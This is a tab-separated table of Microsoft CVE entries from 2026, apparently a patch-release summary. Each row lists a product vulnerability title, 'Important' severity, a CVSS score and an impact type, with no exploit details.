CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
